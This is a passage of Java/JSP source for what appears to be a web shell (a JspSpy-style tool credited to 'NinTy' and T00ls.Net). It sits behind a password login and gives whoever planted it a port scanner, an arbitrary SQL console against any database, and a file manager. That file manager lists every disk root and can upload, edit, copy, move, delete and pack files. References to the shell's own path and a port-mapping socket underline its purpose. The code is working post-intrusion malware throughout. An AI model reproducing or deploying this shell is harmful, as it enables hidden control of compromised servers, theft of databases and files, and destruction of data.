1007} catch (Exception e) {
1008if (e.toString().toLowerCase().indexOf("read timed out")!=-1) {
1009rs.put(port,"Open <span style=\"color:grey;font-weight:normal\"><<No Banner!>></span>");
1010if (r != null)
1011r.close();
1012} else {
1013rs.put(port,"Close");
1014}
1015}
1016}
1017out.println("<div style='margin:10px'>");
1018Set entrySet = rs.entrySet();
1019 Iterator it = entrySet.iterator();
1020 while (it.hasNext()) {
1021 Map.Entry e = (Map.Entry)it.next();
1022 String port = (String)e.getKey();
1023 String value = (String)e.getValue();
1024out.println(ip+" : "+port+" ................................. <font color="+(value.equals("Close")?"red":"green")+"><b>"+value+"</b></font><br>");
1025}
1026out.println("</div>");
1027} catch (Exception e) {
1028
1029throw e ;
1030}
1031}
1032}
1033private static class VConnInvoker extends DefaultInvoker {
1034public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1035try {
1036PrintWriter out = response.getWriter();
1037Object obj = JSession.getAttribute(DBO);
1038if (obj == null || !((DBOperator)obj).isValid()) {
1039out.println(" <script type=\"text/javascript\">"+
1040" function changeurldriver(){"+
1041" var form = document.forms[\"form1\"];"+
1042" var v = form.elements[\"db\"].value;"+
1043" form.elements[\"url\"].value = v.split(\"`\")[1];"+
1044" form.elements[\"driver\"].value = v.split(\"`\")[0];"+
1045" form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
1046" }"+
1047" </script>");
1048out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1049"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1050"<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\"0\">"+
1051"<h2>DataBase Manager »</h2>"+
1052"<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
1053"<p>"+
1054"Driver:"+
1055" <input class=\"input\" name=\"driver\" id=\"driver\" type=\"text\" size=\"35\" />"+
1056"URL:"+
1057"<input class=\"input\" name=\"url\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
1058"UID:"+
1059"<input class=\"input\" name=\"uid\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
1060"PWD:"+
1061"<input class=\"input\" name=\"pwd\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
1062"DataBase:"+
1063" <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
1064" <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
1065" <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
1066" <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
1067" <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:\\ninty.mdb'>Access</option>"+
1068" <option value=' ` '>Other</option>"+
1069" </select>"+
1070"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
1071"</p>"+
1072"</form></table><script>changeurldriver()</script>");
1073} else {
1074((Invoker)ins.get("dbc")).invoke(request,response,JSession);
1075}
1076} catch (ClassCastException e) {
1077throw e;
1078} catch (Exception e) {
1079
1080throw e ;
1081}
1082}
1083}
1084//DBConnect
1085private static class DbcInvoker extends DefaultInvoker {
1086public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1087try {
1088PrintWriter out = response.getWriter();
1089String driver = request.getParameter("driver");
1090String url = request.getParameter("url");
1091String uid = request.getParameter("uid");
1092String pwd = request.getParameter("pwd");
1093String sql = request.getParameter("sql");
1094String selectDb = request.getParameter("selectDb");
1095if (selectDb == null)
1096selectDb = JSession.getAttribute("selectDb").toString();
1097else
1098JSession.setAttribute("selectDb",selectDb);
1099Object dbo = JSession.getAttribute(DBO);
1100if (dbo == null || !((DBOperator)dbo).isValid()) {
1101if (dbo != null)
1102((DBOperator)dbo).close();
1103dbo = new DBOperator(driver,url,uid,pwd,true);
1104} else {
1105if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) {
1106DBOperator oldDbo = (DBOperator)dbo;
1107dbo = new DBOperator(driver,url,uid,pwd);
1108if (!oldDbo.equals(dbo)) {
1109((DBOperator)oldDbo).close();
1110((DBOperator)dbo).connect();
1111} else {
1112dbo = oldDbo;
1113}
1114}
1115}
1116DBOperator Ddbo = (DBOperator)dbo;
1117JSession.setAttribute(DBO,Ddbo);
1118if (!Util.isEmpty(request.getParameter("type")) && request.getParameter("type").equals("switch")) {
1119Ddbo.getConn().setCatalog(request.getParameter("catalog"));
1120}
1121Util.outMsg(out,"Connect To DataBase Success!");
1122out.println(" <script type=\"text/javascript\">"+
1123" function changeurldriver(selectDb){"+
1124" var form = document.forms[\"form1\"];"+
1125" if (selectDb){"+
1126" form.elements[\"db\"].selectedIndex = selectDb"+
1127" }"+
1128" var v = form.elements[\"db\"].value;"+
1129" form.elements[\"url\"].value = v.split(\"`\")[1];"+
1130" form.elements[\"driver\"].value = v.split(\"`\")[0];"+
1131" form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
1132" }"+
1133" </script>");
1134out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1135"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1136"<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\""+selectDb+"\">"+
1137"<h2>DataBase Manager »</h2>"+
1138"<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
1139"<p>"+
1140"Driver:"+
1141" <input class=\"input\" name=\"driver\" value=\""+Ddbo.driver+"\" id=\"driver\" type=\"text\" size=\"35\" />"+
1142"URL:"+
1143"<input class=\"input\" name=\"url\" value=\""+Ddbo.url+"\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
1144"UID:"+
1145"<input class=\"input\" name=\"uid\" value=\""+Ddbo.uid+"\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
1146"PWD:"+
1147"<input class=\"input\" name=\"pwd\" value=\""+Ddbo.pwd+"\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
1148"DataBase:"+
1149" <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
1150" <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
1151" <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
1152" <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
1153" <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:/ninty.mdb'>Access</option>"+
1154" <option value=' ` '>Other</option>"+
1155" </select>"+
1156"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
1157"</p>"+
1158"</form><script>changeurldriver('"+selectDb+"')</script>");
1159DatabaseMetaData meta = Ddbo.getConn().getMetaData();
1160out.println("<form action=\""+SHELL_NAME+"\" method=\"POST\">"+
1161"<p><input type=\"hidden\" name=\"selectDb\" value=\""+selectDb+"\"><input type=\"hidden\" name=\"o\" value=\"executesql\"><table width=\"200\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td colspan=\"2\">Version : <b style='color:red;font-size:14px'><i>"+meta.getDatabaseProductName()+" , "+meta.getDatabaseProductVersion()+"</i></b><br/>URL : <b style='color:red;font-size:14px'><i>"+meta.getURL()+"</i></b><br/>Catalog : <b style='color:red;font-size:14px'><i>"+Ddbo.getConn().getCatalog()+"</i></b><br/>UserName : <b style='color:red;font-size:14px'><i>"+meta.getUserName()+"</i></b><br/><br/></td></tr><tr><td colspan=\"2\">Run SQL query/queries on database / <b><i>Switch Database :</i></b> ");
1162out.println("<select id=\"catalogs\" onchange=\"if (this.value == '0') return;doPost({o:'executesql',type:'switch',catalog:document.getElementById('catalogs').value})\">");
1163out.println("<option value='0'>-- Select a DataBase --</option>");
1164ResultSet dbs = meta.getCatalogs();
1165try {
1166while (dbs.next()){
1167out.println("<option value='"+dbs.getString(1)+"'>"+dbs.getString(1)+"</option>");
1168}
1169}catch(Exception ex) {
1170}
1171dbs.close();
1172out.println("</select></td></tr><tr><td><textarea id=\"sql\" name=\"sql\" class=\"area\" style=\"width:600px;height:50px;overflow:auto;\">"+Util.htmlEncode(Util.getStr(sql))+"</textarea><input class=\"bt\" name=\"submit\" type=\"submit\" value=\"Query\" /> <input class=\"bt\" onclick=\"doPost({o:'export',type:'queryexp',sql:document.getElementById('sql').value})\" type=\"button\" value=\"Export\" /> <input type='button' value='Export To File' class='bt' onclick=\"doPost({o:'vExport',type:'queryexp',sql:document.getElementById('sql').value})\"></td><td nowrap style=\"padding:0 5px;\"></td></tr></table></p></form></table>");
1173if (Util.isEmpty(sql)) {
1174String type = request.getParameter("type");
1175if (Util.isEmpty(type) || type.equals("switch")) {
1176ResultSet tbs = meta.getTables(null,null,null,null);
1177out.println(Table.rs2Table(tbs,meta.getIdentifierQuoteString(),true));
1178tbs.close();
1179} else if (type.equals("struct")) {
1180String tb = request.getParameter("table");
1181if (Util.isEmpty(tb))
1182return;
1183ResultSet t = meta.getColumns(null,null,tb,null);
1184out.println(Table.rs2Table(t,"",false));
1185t.close();
1186}
1187}
1188} catch (Exception e) {
1189JSession.setAttribute(MSG,"<span style='color:red'>Some Error Occurred. Please Check Out the StackTrace Follow.</span>"+BACK_HREF);
1190throw e;
1191}
1192}
1193}
1194private static class ExecuteSQLInvoker extends DefaultInvoker{
1195public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1196try {
1197PrintWriter out = response.getWriter();
1198String sql = request.getParameter("sql");
1199String db = request.getParameter("selectDb");
1200Object dbo = JSession.getAttribute(DBO);
1201if (!Util.isEmpty(sql)) {
1202if (dbo == null || !((DBOperator)dbo).isValid()) {
1203((Invoker)ins.get("vConn")).invoke(request,response,JSession);
1204return;
1205} else {
1206((Invoker)ins.get("dbc")).invoke(request,response,JSession);
1207Object obj = ((DBOperator)dbo).execute(sql);
1208if (obj instanceof ResultSet) {
1209ResultSet rs = (ResultSet)obj;
1210ResultSetMetaData meta = rs.getMetaData();
1211int colCount = meta.getColumnCount();
1212out.println("<b style=\"margin-left:15px\">Query#0 : "+Util.htmlEncode(sql)+"</b><br/><br/>");
1213out.println("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
1214for (int i=1;i<=colCount;i++) {
1215out.println("<td nowrap>"+meta.getColumnName(i)+"<br><span>"+meta.getColumnTypeName(i)+"</span></td>");
1216}
1217out.println("</tr>");
1218Table tb = new Table();
1219while(rs.next()) {
1220Row r = new Row();
1221for (int i = 1;i<=colCount;i++) {
1222String v = null;
1223try {
1224v = rs.getString(i);
1225} catch (SQLException ex) {
1226v = "<<Error!>>";
1227}
1228r.addColumn(new Column(v));
1229}
1230tb.addRow(r);
1231}
1232out.println(tb.toString());
1233out.println("</table><br/>");
1234rs.close();
1235((DBOperator)dbo).closeStmt();
1236} else {
1237out.println("<b style='margin-left:15px'>affected rows : <i>"+obj+"</i></b><br/><br/>");
1238}
1239}
1240} else {
1241((Invoker)ins.get("dbc")).invoke(request,response,JSession);
1242}
1243} catch (Exception e) {
1244
1245throw e ;
1246}
1247}
1248}
1249private static class VLoginInvoker extends DefaultInvoker {
1250public boolean doBefore() {return false;}
1251public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1252try {
1253PrintWriter out = response.getWriter();
1254out.println("<html><head><title>jojojing</title><style type=\"text/css\">"+
1255" input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}"+
1256"a{font:11px Verdana;BACKGROUND: #FFFFFF;}"+
1257" </style></head><body><form method=\"POST\" action=\""+SHELL_NAME+"\">"+
1258"<!--<p style=\"font:11px Verdana;color:red\">blahblahbloblo !</p>-->"+
1259" <p><span style=\"font:11px Verdana;\">Password: </span>"+
1260" <input name=\"o\" type=\"hidden\" value=\"login\">"+
1261" <input name=\"pw\" type=\"password\" size=\"20\">"+
1262" <input type=\"hidden\" name=\"o\" value=\"login\">"+
1263" <input type=\"submit\" value=\"Login\"><br/>"+
1264"<!--<span style=\"font:11px Verdana;\">Copyright © 2010 NinTy </span><a href=\"http://www.fifififif.com\" target=\"_blank\">www.fifififif.com</a>--></p>"+
1265" </form><span style='font-weight:bold;color:red;font-size:12px'>CY... blah blah</span></body></html>");
1266} catch (Exception e) {
1267
1268throw e ;
1269}
1270}
1271}
1272private static class LoginInvoker extends DefaultInvoker{
1273public boolean doBefore() {return false;}
1274public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1275try {
1276String inputPw = request.getParameter("pw");
1277if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) {
1278((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
1279return;
1280} else {
1281JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw);
1282response.sendRedirect(SHELL_NAME);
1283return;
1284}
1285} catch (Exception e) {
1286
1287throw e ;
1288}
1289}
1290}
1291private static class MyComparator implements Comparator{
1292public int compare(Object obj1,Object obj2) {
1293 try {
1294 if (obj1 != null && obj2 != null) {
1295 File f1 = (File)obj1;
1296 File f2 = (File)obj2;
1297 if (f1.isDirectory()) {
1298 if (f2.isDirectory()) {
1299 return f1.getName().compareTo(f2.getName());
1300 } else {
1301 return -1;
1302 }
1303 } else {
1304 if (f2.isDirectory()) {
1305 return 1;
1306 } else {
1307 return f1.getName().toLowerCase().compareTo(f2.getName().toLowerCase());
1308 }
1309 }
1310 }
1311 return 0;
1312 } catch (Exception e) {
1313 return 0;
1314 }
1315}
1316}
1317private static class FileListInvoker extends DefaultInvoker {
1318public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
1319try {
1320String path2View = null;
1321PrintWriter out = response.getWriter();
1322String path = request.getParameter("folder");
1323String outEntry = request.getParameter("outentry");
1324if (!Util.isEmpty(outEntry) && outEntry.equals("true")) {
1325JSession.removeAttribute(ENTER);
1326JSession.removeAttribute(ENTER_MSG);
1327JSession.removeAttribute(ENTER_CURRENT_DIR);
1328}
1329Object enter = JSession.getAttribute(ENTER);
1330File file = null;
1331if (!Util.isEmpty(enter)) {
1332if (Util.isEmpty(path)) {
1333if (JSession.getAttribute(ENTER_CURRENT_DIR) == null)
1334path = "/";
1335else
1336path = (String)(JSession.getAttribute(ENTER_CURRENT_DIR));
1337}
1338file = new EnterFile(path);
1339((EnterFile)file).setZf((String)enter);
1340JSession.setAttribute(ENTER_CURRENT_DIR,path);
1341} else {
1342if (Util.isEmpty(path))
1343path = JSession.getAttribute(CURRENT_DIR).toString();
1344JSession.setAttribute(CURRENT_DIR,Util.convertPath(path));
1345file = new File(path);
1346}
1347path2View = Util.convertPath(path);
1348if (!file.exists()) {
1349throw new Exception(path+"Dont Exists !");
1350}
1351File[] list = file.listFiles();
1352Arrays.sort(list,new MyComparator());
1353out.println("<div style='margin:10px'>");
1354String cr = null;
1355try {
1356cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3);
1357}catch(Exception e) {
1358cr = "/";
1359}
1360File currentRoot = new File(cr);
1361out.println("<h2>File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total (unknow)</h2>");
1362out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
1363"<table width=\"98%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
1364" <tr>"+
1365" <td nowrap>Current Directory <input type=\"hidden\" name=\"o\" value=\"filelist\"/></td>"+
1366" <td width=\"98%\"><input class=\"input\" name=\"folder\" value=\""+path2View+"\" type=\"text\" style=\"width:100%;margin:0 8px;\"></td>"+
1367" <td nowrap><input class=\"bt\" value=\"GO\" type=\"submit\"></td>"+
1368" </tr>"+
1369"</table>"+
1370"</form>");
1371out.println("<table width=\"98%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">"+
1372"<form action=\""+SHELL_NAME+"?o=upload\" method=\"POST\" enctype=\"multipart/form-data\"><tr class=\"alt1\"><td colspan=\"7\" style=\"padding:5px;\">"+
1373"<div style=\"float:right;\"><input class=\"input\" name=\"file\" value=\"\" type=\"file\" /> <input class=\"bt\" name=\"doupfile\" value=\"Upload\" "+(enter == null ?"type=\"submit\"":"type=\"button\" onclick=\"alert('You Are In File Now ! Can Not Upload !')\"")+" /></div>"+
1374"<a href=\"javascript:new fso({path:'"+Util.convertPath(WEB_ROOT)+"'}).subdir('true')\">Web Root</a>"+
1375" | <a href=\"javascript:new fso({path:'"+Util.convertPath(SHELL_DIR)+"'}).subdir('true')\">Shell Directory</a>"+
1376" | <a href=\"javascript:"+(enter == null ? "new fso({}).mkdir()" : "alert('You Are In File Now ! Can Not Create Directory ! ')")+"\">New Directory</a> | <a href=\"javascript:"+(enter == null ? "new fso({}).createFile()" : "alert('You Are In File Now ! Can Not Create File !')")+"\">New File</a>"+
1377" | ");
1378File[] roots = file.listRoots();
1379for (int i = 0;i<roots.length;i++) {
1380File r = roots[i];
1381out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(r.getPath())+"'}).subdir('true');\">Disk("+Util.convertPath(r.getPath())+")</a>");
1382if (i != roots.length -1) {
1383out.println("|");
1384}
1385}
1386out.println("</td>"+
1387"</tr></form>"+
1388"<tr class=\"head\"><td> </td>"+
1389" <td>Name</td>"+
1390" <td width=\"16%\">Last Modified</td>"+
1391" <td width=\"10%\">Size</td>"+
1392" <td width=\"20%\">Read/Write/Execute</td>"+
1393" <td width=\"22%\"> </td>"+
1394"</tr>");
1395if (file.getParent() != null) {
1396out.println("<tr class=alt1>"+
1397"<td align=\"center\"><font face=\"Wingdings 3\" size=4>=</font></td>"+
1398"<td nowrap colspan=\"5\"><a href=\"javascript:new fso({path:'"+Util.convertPath(file.getAbsolutePath())+"'}).parent()\">Goto Parent</a></td>"+
1399"</tr>");
1400}
1401int dircount = 0;
1402int filecount = 0;
1403for (int i = 0;i<list.length;i++) {
1404 File f = list[i];
1405if (f.isDirectory()) {
1406dircount ++;
1407out.println("<tr class=\"alt2\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt2';\">"+
1408"<td width=\"2%\" nowrap><font face=\"wingdings\" size=\"3\">0</font></td>"+
1409"<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).subdir()\">"+f.getName()+"</a></td>"+
1410"<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
1411"<td nowrap>--</td>"+
1412"<td nowrap>"+f.canRead()+" / "+f.canWrite()+" / unknow</td>"+
1413"<td nowrap>");
1414if (enter != null)
1415out.println(" ");
1416else
1417out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).removedir()\">Del</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack(true)\">Pack</a>");
1418out.println("</td></tr>");
1419} else {
1420filecount++;
1421out.println("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">"+
1422"<td width=\"2%\" nowrap><input type='checkbox' value='"+f.getName()+"'/></td>"+
1423"<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">"+f.getName()+"</a></td>"+
1424"<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
1425"<td nowrap>"+Util.getSize(f.length(),'B')+"</td>"+
1426"<td nowrap>"+
1427""+f.canRead()+" / "+f.canWrite()+" / unknow </td>"+
1428"<td nowrap>"+
1429"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEdit()\">Edit</a> | "+
1430"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">Down</a> | "+
1431"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).copy()\">Copy</a>");
1432if (enter == null ) {
1433out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | "+
1434"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEditProperty()\">Property</a> | "+
1435"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).enter()\">Enter</a>");
1436if (f.getName().endsWith(".zip") || f.getName().endsWith(".jar")) {
1437out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).unpack()\">UnPack</a>");
1438} else if (f.getName().endsWith(".rar")) {
1439out.println(" | <a href=\"javascript:alert('Dont Support RAR,Please Use WINRAR');\">UnPack</a>");
1440} else {
1441out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack()\">Pack</a>");
1442}
1443}
1444out.println("</td></tr>");
1445}
1446}
1447out.println("<tr class=\"alt2\"><td align=\"center\"> </td>"+
1448" <td>");
1449if (enter != null)
1450out.println("<a href=\"javascript:alert('You Are In File Now ! Can Not Pack !');\">Pack Selected</a> - <a href=\"javascript:alert('You Are In File Now ! Can Not Delete !');\">Delete Selected</a>");
1451else
1452out.println("<a href=\"javascript:new fso({}).packBatch();\">Pack Selected</a> - <a href=\"javascript:new fso({}).deleteBatch();\">Delete Selected</a>");
1453out.println("</td>"+
1454" <td colspan=\"4\" align=\"right\">"+dircount+" directories / "+filecount+" files</td></tr>"+
1455"</table>");
1456out.println("</div>");
1457if (file instanceof EnterFile)
1458((EnterFile)file).close();
1459} catch (ZipException e) {
1460JSession.setAttribute(MSG,"\""+JSession.getAttribute(ENTER).toString()+"\" Is Not a Zip File. Please Exit.");
1461throw e;
1462} catch (Exception e) {
1463JSession.setAttribute(MSG,"File Does Not Exist Or You Dont Have Privilege."+BACK_HREF);
1464throw e;
1465}
1466}
1467}
1468private static class LogoutInvoker extends DefaultInvoker {
1469public boolean doBefore() {return false;}
1470public boolean doAfter() {return false;}
1471public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1472try {
1473Object dbo = JSession.getAttribute(DBO);
1474if (dbo != null)
1475((DBOperator)dbo).close();
1476Object obj = JSession.getAttribute(PORT_MAP);
1477if (obj != null) {
1478ServerSocket s = (ServerSocket)obj;
1479s.close();
1480}
1481Object online = JSession.getAttribute(SHELL_ONLINE);
1482if (online != null)
1483((OnLineProcess)online).stop();
1484JSession.invalidate();
1485((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
1486} catch (ClassCastException e) {
1487JSession.invalidate();
1488((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
1489} catch (Exception e) {
1490
1491throw e ;
1492}
1493}
1494}
1495private static class UploadInvoker extends DefaultInvoker {
1496public boolean doBefore() {return false;}
1497public boolean doAfter() {return false;}
1498public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1499try {
1500UploadBean fileBean = new UploadBean();
1501response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString());
1502fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString());
1503fileBean.parseRequest(request);
1504File f = new File(JSession.getAttribute(CURRENT_DIR)+"/"+fileBean.getFileName());
1505if (f.exists() && f.length() > 0)
1506JSession.setAttribute(MSG,"<span style='color:green'>Upload File Success!</span>");
1507else
1508JSession.setAttribute("MSG","<span style='color:red'>Upload File Failed!</span>");
1509response.sendRedirect(SHELL_NAME);
1510} catch (Exception e) {
1511throw e ;
1512}
1513}
1514}
1515private static class CopyInvoker extends DefaultInvoker {
1516public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1517try {
1518String src = request.getParameter("src");
1519String to = request.getParameter("to");
1520InputStream in = null;
1521Object enter = JSession.getAttribute(ENTER);
1522if (enter == null)
1523in = new FileInputStream(new File(src));
1524else {
1525ZipFile zf = new ZipFile((String)enter);
1526ZipEntry entry = zf.getEntry(src);
1527in = zf.getInputStream(entry);
1528}
1529BufferedInputStream input = new BufferedInputStream(in);
1530BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to)));
1531byte[] d = new byte[1024];
1532int len = input.read(d);
1533while(len != -1) {
1534output.write(d,0,len);
1535len = input.read(d);
1536}
1537output.close();
1538input.close();
1539JSession.setAttribute(MSG,"Copy File Success!");
1540response.sendRedirect(SHELL_NAME);
1541} catch (Exception e) {
1542
1543throw e ;
1544}
1545}
1546}
1547private static class BottomInvoker extends DefaultInvoker {
1548public boolean doBefore() {return false;}
1549public boolean doAfter() {return false;}
1550public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1551try {
1552response.getWriter().println("<div style=\"padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;\">Copyright (C) 2010 <a href=\"http://www.fifififif.com\" target=\"_blank\">http://www.fifififif.com/</a> <a target=\"_blank\" href=\"http://www.t00ls.net/\">[T00ls.Net]</a> All Rights Reserved."+
1553"</div>");
1554} catch (Exception e) {
1555
1556throw e ;
1557}
1558}
1559}
1560private static class VCreateFileInvoker extends DefaultInvoker {
1561public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1562try {
1563PrintWriter out = response.getWriter();
1564String path = request.getParameter("filepath");
1565File f = new File(path);
1566if (!f.isAbsolute()) {
1567String oldPath = path;
1568path = JSession.getAttribute(CURRENT_DIR).toString();
1569if (!path.endsWith("/"))
1570path+="/";
1571path+=oldPath;
1572f = new File(path);
1573f.createNewFile();
1574} else {
1575f.createNewFile();
1576}
1577out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1578"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1579"<h2>Create / Edit File »</h2>"+
1580"<input type='hidden' name='o' value='createFile'>"+
1581"<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" />"+
1582" <select name='charset' class='input'><option value='ANSI'>ANSI</option><option value='UTF-8'>UTF-8</option></select></p>"+
1583"<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" ></textarea></p>"+
1584"<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
1585"</form>"+
1586"</td></tr></table>");
1587} catch (Exception e) {
1588
1589throw e ;
1590}
1591}
1592}
1593private static class VEditInvoker extends DefaultInvoker {
1594public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1595try {
1596PrintWriter out = response.getWriter();
1597String path = request.getParameter("filepath");
1598String charset = request.getParameter("charset");
1599Object enter = JSession.getAttribute(ENTER);
1600InputStream input = null;
1601if (enter != null) {
1602ZipFile zf = new ZipFile((String)enter);
1603ZipEntry entry = new ZipEntry(path);
1604input = zf.getInputStream(entry);
1605} else {
1606File f = new File(path);
1607if (!f.exists())
1608return;
1609input = new FileInputStream(path);
1610}
1611
1612BufferedReader reader = null;
1613if (Util.isEmpty(charset) || charset.equals("ANSI"))
1614reader = new BufferedReader(new InputStreamReader(input));
1615else
1616reader = new BufferedReader(new InputStreamReader(input,charset));
1617StringBuffer content = new StringBuffer();
1618String s = reader.readLine();
1619while (s != null) {
1620content.append(s+"\r\n");
1621s = reader.readLine();
1622}
1623reader.close();
1624out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1625"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1626"<h2>Create / Edit File »</h2>"+
1627"<input type='hidden' name='o' value='createFile'>"+
1628"<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" />"+
1629" <select name='charset' id='fcharset' onchange=\"new fso({path:'"+path+"',charset:document.getElementById('fcharset').value}).vEdit()\" class='input'><option value='ANSI'>ANSI</option><option "+((!Util.isEmpty(charset) && charset.equals("UTF-8")) ? "selected" : "")+" value='UTF-8'>UTF-8</option></select></p>"+
1630"<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" >"+Util.htmlEncode(content.toString())+"</textarea></p>"+
1631"<p>");
1632if (enter != null)
1633out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" onclick=\"alert('You Are In File Now ! Can Not Save !')\" type=\"button\" value=\"Submit\">");
1634else
1635out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\">");
1636out.println("<input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
1637"</form>"+
1638"</td></tr></table>");
1639
1640} catch (Exception e) {
1641
1642throw e ;
1643}
1644}
1645}
